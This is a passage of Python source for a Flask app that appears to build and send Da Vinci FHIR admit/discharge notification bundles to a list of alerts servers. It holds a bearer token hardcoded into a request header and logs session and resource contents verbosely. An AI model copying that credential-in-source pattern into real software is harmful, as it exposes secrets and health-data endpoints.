'WildFHIR': 'http://wildfhir4.aegis.net/fhir4-0-1',\r\n }\r\n#ref_server_name = \"FHIR R4\"\r\nref_server_name = \"HAPI UHN R4\"\r\nalerts_servers = { # base_url for alerts server\r\n \"Intermediary-Simulator\": '/DaVinci-Notifications-Intermediary',\r\n \"Alerts-RI\": 'https://davinci-alerts-receiver.logicahealth.org/fhir',\r\n #'Cigna': 'https://ttbfdsk0pc.execute-api.us-east-1.amazonaws.com/dev',\r\n 'WildFHIR': \"http://wildfhir4.aegis.net/fhir4-0-1\",\r\n #'One Medical': \"https://dev.fhir.onemedical.io/r4\",\r\n #'Guidewell-Edifecs': 'https://davinci.collablynk.com/payor/alerts',\r\n #'IBC': 'https://tbd'\r\n #\"EMR Direct\": 'https://stage.healthtogo.me:8181/fhir/r4/stage',\r\n 'Tell Health': 'http://dev0.tell.health:8888/fhir',\r\n }\r\n\r\n# some timestamp formats\r\nnow = f'{str(datetime.datetime.utcnow().isoformat())}Z' # get url freindly time stamp\r\nid_safe_now = datetime.datetime.utcnow().strftime('%Y%m%d%H%M%S.%f')\r\nRFC1123_date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')\r\n############################\r\n\r\n# ************** fetch last bundle from local filesystem **************\r\ndef get_sessionfile(alerts_server='Alerts-RI'):\r\n f_name=session['f_names'][-1]\r\n app.logger.info(f'last file = {session[\"f_names\"][-1]}')\r\n data = read_in(in_path=app.root_path,f_name=f_name) # most recent saved bundle\r\n pydata = pyfhir(loads(data)) # convert to fhirclient model\r\n try:\r\n pydata.entry[0].resource.destination[0].name = alerts_server\r\n pydata.entry[0].resource.destination[0].endpoint = alerts_servers[alerts_server]\r\n except AttributeError:\r\n for e in pydata.entry:\r\n # sub_e = e[0].resource\r\n e.resource.entry[0].resource.destination[0].name = alerts_server\r\n e.resource.entry[0].resource.destination[0].endpoint = alerts_servers[alerts_server]\r\n return pydata.as_json() #convert to dict\r\n\r\n# ************************** add profiles - Does not differentiate between deqm and US-Core for example ************************\r\ndef add_profile(r):\r\n try:\r\n r.meta.profile.append(profile_list[r.resource_type])# add profile if meta.profile already there\r\n r.meta.profile = list(set(r.meta.profile))# remove duplicate\r\n app.logger.info(f'******meta = {r.meta.profile}***')\r\n\r\n except AttributeError: # no profile\r\n #r.meta = M.Meta()\r\n try:\r\n r.meta.profile = [(profile_list[r.resource_type])]\r\n app.logger.info(f'******meta = {r.meta.profile}***')\r\n except AttributeError: # no meta\r\n r.meta = M.Meta()\r\n r.meta.profile = [(profile_list[r.resource_type])]\r\n app.logger.info(f'******meta = {r.meta.profile}***')\r\n\r\n# *************************** check and append **************\r\n\r\ndef append_resource(resource, resources, Type, id=\"?\", is_req=False):\r\n app.logger.info(f'******append_resources parameters: Type={Type}, id= {id}, is_req={is_req}***')\r\n if resource:\r\n r_pyfhir = pyfhir(r_dict=resource)\r\n add_profile(r_pyfhir)\r\n resources.append(r_pyfhir)\r\n app.logger.info(f'******resources={resources}***')\r\n elif is_req:\r\n return redirect(url_for('resource_not_found', type=Type, id=id))\r\n else:\r\n app.logger.info(f'no {Type}/{id} resource found')\r\n\r\n# ************************** get id ************************\r\ndef get_r_id(Type,*args):\r\n app.logger.info(f'****** args = {args}***')\r\n my_id = atterror_filter(Type, *args)\r\n app.logger.info(f'****** my_id = {my_id}***')\r\n if my_id.startswith(\"urn:uuid:\"):\r\n app.logger.info(f'****** my_id = {my_id[9:]}***')\r\n return my_id[9:]\r\n if my_id.endswith(\":-(\"):\r\n app.logger.info('****** my_id = \"[no id]\"***')\r\n return '[no id]'\r\n else: # assume is Regular FHIR endpoint # ID\r\n app.logger.info(f'****** my_id = {my_id.split(\"/\")[-1]}***')\r\n return my_id.split('/')[-1]\r\n\r\n# *********************** Search Resource ********************\r\ndef search(Type,**kwargs):\r\n '''\r\n fetch resource by search parameters e.g. _id\r\n return resource as fhirclient model\r\n '''\r\n headers = {\r\n 'Accept':'application/fhir+json',\r\n 'Content-Type':'application/fhir+json'\r\n }\r\n\r\n r_url = f'{ref_server[ref_server_name]}/{Type.capitalize()}'\r\n app.logger.info(f'****** r_url = {ref_server[ref_server_name]}/{Type.capitalize()}***')\r\n #app.logger.info(f'****** params = {kwargs}*****')\r\n with get(r_url, headers=headers, params=kwargs) as r:\r\n # return r.status_code\r\n # view output\r\n # return (r.json()[\"text\"][\"div\"])\r\n if r.status_code <300 and r.json()[\"total\"] > 0: # >0\r\n return r.json()[\"entry\"][0][\"resource\"] # just the first for now\r\n else:\r\n return None\r\n\r\n# *********************** Fetch Resource ********************\r\ndef fetch(Type,_id,ver=None):\r\n '''\r\n fetch resource by READ or VREAD method e.g. [base]/[Type]/[id]/{[_history]}/{[version]}\r\n return resource as fhirclient model\r\n '''\r\n headers = {\r\n 'Accept':'application/fhir+json',\r\n 'Content-Type':'application/fhir+json'\r\n }\r\n\r\n r_url = (f'{ref_server[ref_server_name]}/{Type.capitalize()}/{_id}/_history/{ver}'\r\n if ver else f'{ref_server[ref_server_name]}/{Type.capitalize()}/{_id}')\r\n app.logger.info(f'****** r_url = {r_url}***')\r\n for attempt in range(5): #retry request up to ten times\r\n sleep(1) # wait a bit between retries\r\n with get(r_url, headers=headers) as r:\r\n # return r.status_code\r\n # view output\r\n # return (r.json()[\"text\"][\"div\"])\r\n if r.status_code <300:\r\n return r.json() # just the first for now\r\n else:\r\n return None\r\n\r\n\r\n# ******************* update ref ****************************\r\n# is uuid first then update assuming Type/id\r\ndef update_ref(ref):\r\n #app.logger.info(f'ref = {ref} ref type = {type(ref)}')\r\n try:\r\n return uuid.UUID(ref).urn\r\n except ValueError: # not a valid UUID\r\n return ref\r\n\r\n# ******************* Get Provenance ****************************\r\ndef get_prov(target, org, author, sender, activity, now):\r\n prov = getattr(fhirtemplates,f'prov_{activity}') # hardcoded template for now\r\n resource = pyfhir(prov) #convert to fhirclient model\r\n resource.id = str(uuid.uuid1())\r\n resource.recorded = FD.FHIRDate(f'{str(now.isoformat())}Z')\r\n resource.target[0].reference = update_ref(target)\r\n resource.agent[0].who.reference = update_ref(author)\r\n resource.agent[0].onBehalfOf.reference = update_ref(org)\r\n resource.agent[1].who.reference = update_ref(sender)\r\n return resource\r\n\r\n\r\n# *********************** POST Resource ********************\r\ndef post_bundle(alerts_server,headers,data):\r\n for attempt in range(5): #retry request up to ten times\r\n sleep(1) # wait a bit between retries\r\n app.logger.info(f'endpoint = {alerts_server}')\r\n with post(f'{alerts_server}', headers=headers, data=data) as r:\r\n if r.status_code < 300:\r\n return(r)\r\n return(r)\r\n\r\n\r\ndef pyfhir(r_dict, Type=None):\r\n '''\r\n input is resource instance as r_dict\r\n output is fhirclient class instance\r\n '''\r\n type = Type if Type else r_dict['resourceType']\r\n MyClass = getattr(import_module(f\"fhirclient.r4models.{type.lower()}\"),type)\r\n # Instantiate the class (pass arguments to the constructor, if needed)\r\n instance = MyClass(r_dict, strict=False)\r\n return(instance)\r\n\r\ndef bundler(resources, type, validate_me=False):\r\n # input list of fhirclient objects return a json copy of Bundle type = type\r\n now = datetime.datetime.utcnow()\r\n fhir_now = FD.FHIRDate(f'{str(now.isoformat())}Z')\r\n resources_copy = deepcopy(resources)\r\n app.logger.info(f\"creating bundle of type = {type}...\")\r\n bundle = pyfhir({'resourceType': 'Bundle'})\r\n #bundle.id = f'davinci-notifications-bundle-{now.strftime(\"%Y%m%d%H%M%S.%f\")}'\r\n bundle.id = str(uuid.uuid1())\r\n if validate_me and type == 'message': #add meta profiles\r\n bundle.meta = M.Meta()\r\n bundle.meta.profile = [profile_list[\"Bundle\"]]\r\n bundle.meta.lastUpdated = fhir_now\r\n bundle.type = type\r\n bundle.timestamp = fhir_now\r\n bundle.entry = []\r\n ref_map = {}\r\n for r in resources_copy: # append list of resources create replace id with uuids.\r\n app.logger.info(f'res = {r}')\r\n entry = B.BundleEntry()\r\n old_ref = f'{r.resource_type}/{r.id}'\r\n try:\r\n entry.fullUrl = uuid.UUID(r.id).urn # TODO get new uuid\r\n except ValueError:\r\n app.logger.info(f'resource = {r.resource_type} id = {r.id} is not uuid')\r\n r.id = str(uuid.uuid1())\r\n entry.fullUrl = uuid.UUID(r.id).urn\r\n ref_map[old_ref] = entry.fullUrl\r\n if not validate_me: #remove meta profiles\r\n if r.meta: #remove meta\r\n r.meta = None\r\n #if r.resource_type is not \"MessageHeader\":\r\n #r.id = None #remove old_ids\r\n r.text = None #remove text\r\n entry.resource = r\r\n if type in ['transaction', 'batch']:\r\n entry.request = B.BundleEntryRequest(dict\r\n (\r\n method = 'POST',\r\n url = '$process-message'\r\n )\r\n )\r\n\r\n bundle.entry.append(entry)\r\n #app.logger.info(f'ref_map = {dumps(ref_map, indent = 2)}')\r\n #app.logger.info(f'meta elements = {[i.resource.meta.profile for i in bundle.entry]}')\r\n b_json = dumps(bundle.as_json(), indent=2)\r\n # replace old references with new urns\r\n for old_ref, new_urn in ref_map.items():\r\n b_json = b_json.replace(old_ref, new_urn)\r\n return(b_json)\r\n\r\n\r\n@app.template_filter()\r\ndef datetimefilter(value, format='%Y/%m/%d %H:%M'):\r\n \"\"\"convert a datetime to a different format.\"\"\"\r\n return value.strftime(format)\r\n\r\n@app.template_filter()\r\ndef markdown(text, *args, **kwargs):\r\n return commonmark(text, *args, **kwargs)\r\n\r\n\"\"\"\r\n@app.template_filter() # to handle KeyError exception in Jinja for dicts\r\ndef keyerror_filter(value, *args):\r\n app.logger.info(f'****** args ={args}***')\r\n try:\r\n app.logger.info(f'****** value type value={type(value)}***')\r\n for arg in args:\r\n app.logger.info(f'****** arg = {arg}***')\r\n app.logger.info(f'****** value[{arg}] = ***')\r\n value = value[arg][0] if isinstance(value[arg], list) else value[arg]\r\n return (value)\r\n except KeyError:\r\n return (f\"Resource has no {'.'.join(args)} element :-(\")\r\n\"\"\"\r\n\r\n\r\n@app.template_filter() # to handle AttributeError exception in Jinja for classes\r\ndef atterror_filter(value, *args):\r\n #app.logger.info(f'****** args={args}***')\r\n try:\r\n app.logger.info(f'****** value type value={type(value)}***')\r\n for arg in args:\r\n #app.logger.info(f'****** arg = {arg}***')\r\n #app.logger.info(f'****** getattr({value},{arg}) = {getattr(value,arg)}***')\r\n value = getattr(value, arg)[0] if isinstance(getattr(value,arg), list) else getattr(value,arg)\r\n app.logger.info(f'****** value = {value} , type = {type(value)}***')\r\n return (value)\r\n except AttributeError:\r\n return (f\"Resource has no {'.'.join(args)} element :-(\")\r\n\r\napp.jinja_env.filters['datetimefilter'] = datetimefilter\r\napp.jinja_env.filters['markdown'] = markdown\r\n# app.jinja_env.filters['keyerror_filter'] = keyerror_filter\r\napp.jinja_env.filters['atterror_filter'] = atterror_filter\r\n\r\n@app.route(\"/\")\r\ndef template_test():\r\n try:\r\n for f_name in session['f_names']:\r\n app.logger.info(f'******* clear out {app.root_path}/testoutput{f_name} from = {session}')\r\n clear_dir(out_path=app.root_path,f_name=f_name)\r\n except:\r\n pass\r\n session['my_encounters']=[]\r\n session['f_names']=[]\r\n session['resource_list']=[]\r\n\r\n app.logger.info(f'******* sessions = {session}')\r\n #cache.get('f_name') #clear upload files if present in cache.\r\n #cache.clear() # clear all the cache *TODO switch over to db*\r\n\r\n\r\n my_string='''This is a simple Flask App FHIR Facade which:\r\n\r\nFor single \"real-time\" Notifications:\r\n\r\n 1. Fetches *Admit* and *Discharge* Encoounters from the {ref_server} Reference Server\r\n 1. Builds the Da Vinci Notifications Message Bundle\r\n 1. Submits the Message to the nominated endpoint using the `$process-message` operation\r\n 1. Receives and displays the $process-message operation response from the server\r\n\r\nFor a Batch Transaction of multiple Notification:\r\n\r\n 1. Fetches all the relevant *Admit* and *Discharge* Encoounters from the {ref_server} Reference Server\r\n 1. Builds a transaction Bundle with:\r\n 1. the Da Vinci Notifications Message Bundle as entries\r\n 1. `POST` for the request method\r\n 1. `/$process-message` for the request url\r\n 1. Submits the transaction Bundle to the nominated endpoint using the `POST` operation\r\n 1. Receives and displays the \"transaction-response\" response from the server.\r\n'''.format(ref_server=ref_server_name)\r\n return render_template(\r\n 'template.html',\r\n ref_server=ref_server_name,\r\n enc_list=enc_list,\r\n title=\"Index\",\r\n )\r\n\r\n@app.route(\"/home\") # reroute to \"/\"\r\ndef home():\r\n return redirect('/')\r\n\r\n@app.route(\"/about\")\r\ndef about():\r\n my_string='''This is a simple python Flask App FHIR Facade which:\r\n\r\n - Fetches *Admit* and *Discharge* Encounters from the {ref_server} Reference Servers\r\n - Build the Da Vinci Notifications Message\r\n - Submit the Message to the nominated endpoint using the $process-message operation\r\n\r\n The source code can be found on *github*: \r\n\r\n This application is deployed on [![pythonanywhere](https://www.pythonanywhere.com/static/anywhere/images/PA-logo.svg)](https://www.pythonanywhere.com/)\r\n '''.format(ref_server=ref_server_name)\r\n return render_template('sub_template1.html',\r\n my_string=my_string,\r\n title=\"About\",\r\n current_time=datetime.datetime.now(),\r\n )\r\n\r\n@app.route(\"/contact\")\r\ndef contact():\r\n return render_template('sub_template2.html'\r\n , my_string=\"Contact Information\",\r\n title=\"Contact Us\", current_time=datetime.datetime.now(),\r\n )\r\n\r\n@app.route(\"/not_found//\", defaults={'r_id': None,'hx': None,'ver': None })\r\n@app.route(\"/not_valid//\", defaults={'hx': None,'ver': None })\r\n@app.route(\"/not_valid////\")\r\ndef resource_not_found(type, hx, ver, r_id):\r\n my_string='''\r\n>Woops, that resource `{type}/{r_id}/{hx}/{ver}` doesn't exist! (0 search results)\r\n\r\n- Click on the home button in the nav bar and try a different id\r\n'''.format(type= type,r_id=r_id, hx=hx,ver=ver)\r\n return render_template('sub_template1.html',\r\n my_string=my_string,\r\n title=\"Resource not found error\",\r\n current_time=datetime.datetime.now(),\r\n )\r\n\r\n@app.route(\"/not_valid//\", defaults={'ver': None })\r\n@app.route(\"/not_valid///_history/\")\r\ndef resource_not_valid(type, ver, r_id=None):\r\n my_string='''\r\n>Woops, that resource `{type}/{r_id.split(\"#\")[0]}` is invalid. The element {r_id.split(\"#\")[1]} doesn't exist!\r\n\r\n- Click on the home button in the nav bar and try a different id\r\n'''.format(type= type,r_id=r_id)\r\n return render_template('sub_template1.html',\r\n my_string=my_string,\r\n title=\"Resource not valid error\",\r\n current_time=datetime.datetime.now(),\r\n )\r\n\r\n@app.route(\"/Encounter/\", defaults={'hx': None,'ver': None })\r\n@app.route(\"/Encounter///\") # get the encounter and fetch the others and bundle em together!\r\ndef r_id(r_id, hx, ver):\r\n '''\r\n Fetch encounter\r\n '''\r\n\r\n encounters = []\r\n #app.logger.info(f\"cache.get('batch') = {cache.get('batch')}\") \r\n session['my_encounters']=[]\r\n app.logger.info(f'r_id = {r_id}')\r\n if r_id == 'batch':\r\n r_ids = enc_list[:-3]\r\n \r\n try:\r\n encounters = encounters + cache.get(\"batch\")\r\n except TypeError:\r\n pass \r\n else:\r\n session['my_encounters']=[(e.split('/')[0],e.split('/')[2]) for e in r_ids]\r\n return render_template('sub_template4.html',\r\n r_id=','.join(r_ids),\r\n title= \"Encounter\",\r\n r_type='Encounter',\r\n r_pyfhir=encounters,\r\n )\r\n\r\n else:\r\n r_ids = [f'{r_id}/{hx}/{ver}']\r\n for my_id in r_ids:\r\n my_uid, hx, ver = my_id.split('/')\r\n session['my_encounters'].append((my_uid,ver)) # save encounter id and ver for this session\r\n app.logger.info(f'****** see what is in session = {session}')\r\n resource = fetch('Encounter', _id=my_uid, ver=ver ) # fetch encounter resource by id as dict\r\n if resource:\r\n resource = pyfhir(r_dict=resource) # convert encounter to pyfhir instance\r\n add_profile(resource) # add profile if not already there\r\n ##### check to see if status and class present #####\r\n try:\r\n r_status = resource.status\r\n except:\r\n return redirect(url_for('resource_not_valid', type='Encounter', my_uid=f'{my_uid}#status'))\r\n try:\r\n r_class = resource.class_fhir\r\n except:\r\n return redirect(url_for('resource_not_valid', type='Encounter', my_uid=f'{my_uid}#class'))\r\n encounters.append(resource)\r\n\r\n else:\r\n return redirect(url_for('resource_not_found', type='Encounter', my_uid=my_uid))\r\n\r\n app.logger.info(f'******resource id={resource.id}***')\r\n app.logger.info(f'******estimated file size ={str(sys.getsizeof(resource.as_json())/1024)} \"KB\"***')\r\n\r\n if r_id == 'batch':\r\n cache.set('batch', encounters, )\r\n #app.logger.info(f\"cache.get('batch' )= {cache.get('batch')}\") \r\n return render_template('sub_template4.html',\r\n r_id=','.join(r_ids),\r\n title= \"Encounter\",\r\n r_type='Encounter',\r\n r_pyfhir=encounters, )\r\n\r\n@app.route(\"/MessageBundle\", methods=[\"POST\", \"GET\"])\r\ndef mb():\r\n '''\r\n fetch encounter ids - 1 for single bundle, multiple for batching using a transaction bundle\r\n create messageheader, coverage, orgs 1 and 2\r\n fetch graph of resources as list\r\n create bundle\r\n '''\r\n\r\n\r\n ################### Assemble Bundle ################################\r\n app.logger.info(f'****** line 492 see what is in session = {session}***')\r\n #app.logger.info(f'****** line 465 see what is in cache = {cache.get(\"encounters\")}***')\r\n\r\n #encounters = cache.get(\"encounters\") # get resources from cache\r\n session['resource_list'] = []\r\n message_bundles =[]\r\n now = datetime.datetime.utcnow()\r\n is_message_bundle = len(session['my_encounters']) < 2\r\n cache_notif_bundle = cache.get(\"notification_bundle\")\r\n ################\r\n #for loop over encounters if encounter length >1 then create transaction bundle\r\n \r\n if not is_message_bundle and cache_notif_bundle: #if cached use it instead\r\n for b in loads(cache_notif_bundle)[\"entry\"]:\r\n session['resource_list'].append(f'{b[\"resource\"][\"resourceType\"]}/{b[\"resource\"][\"id\"]}')\r\n for r in b[\"resource\"][\"entry\"]:\r\n session['resource_list'].append(f'{r[\"resource\"][\"resourceType\"]}/{r[\"resource\"][\"id\"]}')\r\n\r\n return render_template('sub_template5.html',\r\n my_string='Getting Resources ready for Tansaction Bundle of Da Vinci Notification Message Bundle...',\r\n title=\"Notification Bundle Prep\",\r\n endpoint_urls = alerts_servers,\r\n endpoint = 'transaction',\r\n notification_bundle = cache_notif_bundle,\r\n b_id = loads(cache_notif_bundle)[\"id\"],\r\n )\r\n \r\n else:\r\n #################\r\n for r_id, ver in session['my_encounters']: #encounters:\r\n encounter =fetch('Encounter', _id=r_id, ver=ver) #as dict\r\n encounter = pyfhir(r_dict=encounter) # convert encounter to pyfhir instance\r\n add_profile(encounter) # add profile if not already there\r\n resources = [encounter]\r\n # create messageheader\r\n mh = getattr(fhirtemplates,'messageheader') # resources as dict\r\n mh = pyfhir(mh) #convert to fhirclient\r\n mh.id = str(uuid.uuid1())\r\n mh.focus[0].reference = f\"Encounter/{encounter.id}\"\r\n\r\n if encounter.status == \"in-progress\" and encounter.class_fhir.code == \"EMER\":\r\n mh.eventCoding.code = 'notification-admit'\r\n mh.eventCoding.display = 'Notification Admit'\r\n elif encounter.status == \"in-progress\" and encounter.class_fhir.code == \"IMP\":\r\n mh.eventCoding.code = 'notification-transfer'\r\n mh.eventCoding.display = 'Notification Transfer'\r\n mh.meta.profile[1] = profile_list['MessageHeader_transfer']\r\n elif encounter.status == \"finished\":\r\n mh.eventCoding.code = 'notification-discharge'\r\n mh.eventCoding.display = 'Notification Discharge'\r\n mh.meta.profile[1] = profile_list['MessageHeader_discharge']\r\n\r\n\r\n # TODO add discharge subtypes and handle other statuses\r\n mh.focus[0].display = f'{mh.eventCoding.display}({encounter.type[0].text})'\r\n\r\n # mh.destination[0].name = list(alerts_servers.keys())[0]\r\n # mh.destination[0].endpoint = list(alerts_servers.values())[0]\r\n # TODO make a selection for the destination\r\n\r\n mh.sender.reference = encounter.serviceProvider.reference\r\n mh.sender.display = encounter.serviceProvider.display\r\n\r\n mh.author.reference = encounter.participant[0].individual.reference\r\n mh.author.display = encounter.participant[0].individual.display\r\n\r\n mh.responsible.reference = encounter.serviceProvider.reference\r\n mh.responsible.display = encounter.serviceProvider.display\r\n\r\n resources.insert(0, mh)\r\n\r\n for i in get_ids: # [{Type:Type, args=(args)}]\r\n Type = i['Type']\r\n args = i['args']\r\n is_req = i['is_req']\r\n my_id = get_r_id(encounter,*args)\r\n app.logger.info(f'******my_id = {my_id}')\r\n resource = fetch(Type, _id=my_id, ver=None)\r\n append_resource(resource, resources, Type=Type, id=my_id, is_req = is_req)\r\n\r\n resource = search('Condition',\r\n patient=get_r_id(encounter,'subject','reference'), encounter=encounter.id,\r\n ) # fetch condition\r\n append_resource(resource, resources, Type='Condition')\r\n\r\n resource = search('Coverage',\r\n patient=get_r_id(encounter,'subject','reference'),\r\n ) # fetch coverage\r\n coverage = pyfhir(r_dict=resource)\r\n append_resource(resource, resources, Type='Coverage')\r\n\r\n if coverage:\r\n my_id = get_r_id(coverage,'payor','reference')\r\n resource = fetch('Organization',\r\n _id=my_id,\r\n ) # fetch coverage\r\n append_resource(resource, resources, Type='Organization', id=my_id)\r\n\r\n # assume sender = author i.e. no separate sender initially save for intermediary\r\n # sender = getattr(fhirtemplates,'sender') # hardcode org for now\r\n # resource = pyfhir(sender) #convert to fhirclient model\r\n # add_profile(resource)\r\n # resources.append(resource)\r\n\r\n message_bundles.append(bundler(resources,'message', validate_me)) # returns as json string!\r\n session['resource_list'] = session['resource_list']+[f'{r.resource_type}/{r.id}' for r in resources]\r\n\r\n ################### End Assemble Bundle ################################\r\n # endfor loop over encounters, if encounter length > 1 then create transaction Bundles\r\n # writing to ig examples file and running the IG Build:\r\n #f_name = f'davinci_notification_bundle_{now.strftime(\"%Y%m%d%H%M%S.%f\")}.json'\r\n\r\n if is_message_bundle:\r\n my_string=\"Getting Resources ready for Da Vinci Notification Message Bundle...\"\r\n app.logger.info(f' type my_string = {type(my_string)}')\r\n notification_bundle = message_bundles[0]\r\n endpoint = '$process-message'\r\n else:\r\n '''\r\n if message_bundles length > 2 then bundle as transaction.\r\n loop through message bundles and convert back to pyfhir object and save to array\r\n then bundle again in a transaction and get a transaction as json string back. (modify the function to do this too)\r\n '''\r\n pyfhir_messages = [pyfhir(loads(b)) for b in message_bundles]\r\n notification_bundle = bundler(pyfhir_messages,'transaction', validate_me)\r\n my_string='Getting Resources ready for Tansaction Bundle of Da Vinci Notification Message Bundle...'\r\n endpoint = 'transaction'\r\n cache.set('notification_bundle', notification_bundle)\r\n\r\n b_id = loads(notification_bundle)[\"id\"]\r\n f_name = f'davinci-notification-bundle-{b_id}.json'\r\n write_out(app.root_path, f_name, notification_bundle)\r\n app.logger.info(f'writing example notification bundle to {app.root_path}/test_output/{f_name}')\r\n session['f_names'].append(f_name) # keep track of f_names for session to delete later\r\n session.modified = True\r\n app.logger.info(f'****** see what is in session = {session}***')\r\n #app.logger.info(f'notification_bundle = {message_bundles[0]}')\r\n #cache.set('notification_bundle', notification_bundle, timeout=60*15 )\r\n #app.logger.info(f'****** line 574 see what is in cache = {cache.get(\"notification_bundle\")}***')\r\n return render_template('sub_template5.html',\r\n my_string=my_string,\r\n title=\"Notification Bundle Prep\",\r\n endpoint_urls = alerts_servers,\r\n endpoint = endpoint,\r\n notification_bundle = notification_bundle,\r\n b_id = loads(notification_bundle)[\"id\"],\r\n )\r\n\r\n@app.route(\"/ForwardBundle\", methods=[\"POST\"])\r\ndef fwd():\r\n '''\r\n reassemble message bundle:\r\n new bundle id, timestamp\r\n new messageheader.id and sender and source and destination\r\n if \"intermed-no-change\" is checked then add provenance for MH\r\n elif \"intermed-change\" is checked then add provenance for MH and and sender Org and remove coverage\r\n use prov template as dicts with variable\r\n add static text for forwarding messages\r\n '''\r\n now = datetime.datetime.utcnow()\r\n fhir_now = FD.FHIRDate(f'{str(now.isoformat())}Z')\r\n\r\n #get existing bundle and modify\r\n app.logger.info(f'****** see what is in session = {session}')\r\n f_name=session['f_names'][-1]\r\n app.logger.info(f'line nnnn f_name list = {session[\"f_names\"]} f_name item = {f_name}')\r\n data = read_in(in_path=app.root_path,f_name=f_name) # most recent saved bundle\r\n #data = cache.get('notification_bundle')\r\n #app.logger.info(f'data = {data}')\r\n\r\n #convert to r4models\r\n b = pyfhir(loads(data))\r\n b.id = str(uuid.uuid1())\r\n b.timestamp = fhir_now\r\n mh = b.entry[0].resource\r\n mh.id = str(uuid.uuid1())\r\n b.entry[0].fullUrl = uuid.UUID(mh.id).urn\r\n mh.sender.reference = \"urn:uuid:4f7c997a-d6a4-11ea-814c-b5baa7182d44\" # hardcoded for now\r\n mh.sender.display = \"Da Vinci Intermediary\" # hardcoded for now\r\n mh.source.name = \"Da Vinci Intermediary Source Application\"\r\n mh.source.endpoint = \"https://example.org/Endpoints/P999\"\r\n mh.source.contact.system = 'phone'\r\n mh.source.contact.value = '+1-800-555-5555'\r\n session['resource_list'][0] = f'MessageHeader/{mh.id}'\r\n\r\n ################### ADD Provenance ################################SHOULD BE REMOVED NOT NEEDED ANYMORE\r\n app.logger.info(f'************intermed is {request.form[\"intermed\"]}*************')\r\n\r\n provenance = get_prov(target=f'MessageHeader/{mh.id}',\r\n author=mh.author.reference,\r\n org=mh.responsible.reference,\r\n sender=mh.sender.reference,\r\n activity=request.form['intermed'],\r\n now=now, )\r\n prov_entry = B.BundleEntry()\r\n prov_entry.fullUrl = uuid.UUID(provenance.id).urn\r\n prov_entry.resource = provenance\r\n b.entry.insert(1, prov_entry)\r\n session['resource_list'].insert(1,f'Provenance/{provenance.id}')\r\n\r\n ################### ADD new sender Org ################################\r\n sender = getattr(fhirtemplates,'sender') # hardcode org for now\r\n org = pyfhir(sender) #convert to fhirclient model\r\n add_profile(org)\r\n org_entry = B.BundleEntry()\r\n org_entry.fullUrl = uuid.UUID(org.id).urn\r\n org_entry.resource = org\r\n b.entry.append(org_entry)\r\n session['resource_list'].append(f'Organization/{org.id}')\r\n\r\n ################### Remove Coverage and Referenced Org ################################SHOULD BE REMOVED NOT NEEDED ANYMORE\r\n if request.form['intermed'] == 'amend': # example for intermediary as sender with change in content\r\n try:\r\n coverage_index = next((index for (index, r) in enumerate(b.entry)\r\n if r.resource.resource_type == 'Coverage'))\r\n except StopIteration:\r\n pass\r\n else:\r\n coverage = b.entry.pop(coverage_index).resource\r\n session['resource_list'].pop(coverage_index)\r\n payor_url = coverage.payor[0].reference\r\n try:\r\n payor_index = next((index for (index, r) in enumerate(b.entry)\r\n if r.fullUrl == payor_url))\r\n except StopIteration:\r\n pass\r\n else:\r\n b.entry.pop(payor_index)\r\n session['resource_list'].pop(payor_index)\r\n\r\n # writing to ig examples file and running the IG Build:\r\n notification_bundle = dumps(b.as_json(), indent=2)\r\n #app.logger.info(f'notification_bundle = {message_bundles[0]}')\r\n f_name = f'davinci-notification-bundle-{b.id}.json'\r\n write_out(app.root_path, f_name, notification_bundle)\r\n app.logger.info(f'writing example notification bundle to {app.root_path}/test_output/{f_name}')\r\n session['f_names'].append(f_name) # keep track of f_names for session to delete later\r\n session.modified = True\r\n app.logger.info(f'****** see what is in session = {session}***')\r\n\r\n return render_template('sub_template5.html',\r\n title=\"Forwarding Notification Bundle Prep\",\r\n endpoint_urls = alerts_servers,\r\n endpoint = '$process-message',\r\n notification_bundle = notification_bundle,\r\n b_id=b.id,\r\n forwarding = True,\r\n )\r\n\r\n@app.route('/uploads/', methods=['GET', 'POST'])\r\ndef download(filename):\r\n directory= f'{app.root_path}/test_output'\r\n return send_from_directory(directory= directory, filename=filename, as_attachment=True, mimetype='application/json')\r\n\r\n@app.route(\"/Intermediary-Simulator/$process-message\")\r\ndef intermediary():\r\n '''\r\n intermediary simulator\r\n return 200 status_code\r\n buttons for forwarding message bundle with and without changes\r\n\r\n if \"intermed-no-change\" modify Bundle to add provenance for MH with actor = transmitte and add sender organization\r\n elif \"intermed-change\" remove Coverage and modify Bundle to add provenance for MH with actor = Assemblerand add sender organization\r\n '''\r\n\r\n response = Response()\r\n response.headers[\"Access-Control-Allow-Origin\"] = \"*\"\r\n response.headers[\"date\"] = RFC1123_date\r\n oo = {\r\n \"resourceType\": \"OperationOutcome\",\r\n \"id\": \"intermediary-response\",\r\n \"text\": {\r\n \"status\": \"generated\",\r\n \"div\": \"

    Operation Outcome for :

    All OK

    SeverityLocationDetailsDiagnosticsType
    informationThe message was received and the message has been fully processedinformational
    \"\r\n },\r\n \"issue\": [\r\n {\r\n \"severity\": \"information\",\r\n \"code\": \"informational\",\r\n \"details\": {\r\n \"text\": \"The message was received and the message has been fully processed\"\r\n }\r\n }\r\n ]\r\n }\r\n # default to return the full resource\r\n representation = get_sessionfile('Intermediary-Simulator')\r\n return render_template('sub_template6.html',\r\n my_string1=f\"#### Response from Intermediary Simulator Server: **200**\",\r\n my_string2=\"url = [base]/FHIR/R4/Intermediary-Simulator/$process-message\",\r\n title=\"$process-message Response From Intermediary-Simulator\",\r\n headers = dict(response.headers),\r\n oo = representation,\r\n intermed=True,\r\n )\r\n\r\n@app.route(\"//$process-message\")\r\ndef process_message(alerts_server):\r\n '''\r\n upload message to process-message endpoint\r\n return operation outcome\r\n '''\r\n headers = {\r\n 'Accept':'application/fhir+json',\r\n 'Content-Type':'application/fhir+json',\r\n 'Authorization':'Bearer heqfnVgiMGCJuef', #if alerts_server == \"One Medical\" else None,\r\n }\r\n app.logger.info(f'*******alerts_server = {alerts_server}******')\r\n app.logger.info(f'****** see what is in session = {session}')\r\n data = get_sessionfile(alerts_server)\r\n #app.logger.info(f'data = {data}')\r\n #with post(f'{alerts_servers[alerts_server]}/$process-message', headers=headers, data=data) as r:\r\n r = post_bundle(alerts_server=f'{alerts_servers[alerts_server]}/$process-message', headers=headers, data=dumps(data))\r\n try:\r\n oo = r.json()\r\n except:\r\n oo = {}\r\n app.logger.info(f'url= {alerts_servers[alerts_server]}\\n\\\r\n r.status_code ={r.status_code}\\n\\\r\n r.reason={r.reason}\\n\\\r\n r.headers=\\n\\\r\n {r.headers}\\n')\r\n\r\n return render_template('sub_template6.html',\r\n my_string1=f\"#### Response from {alerts_server} Server: **{r.status_code}**\",\r\n 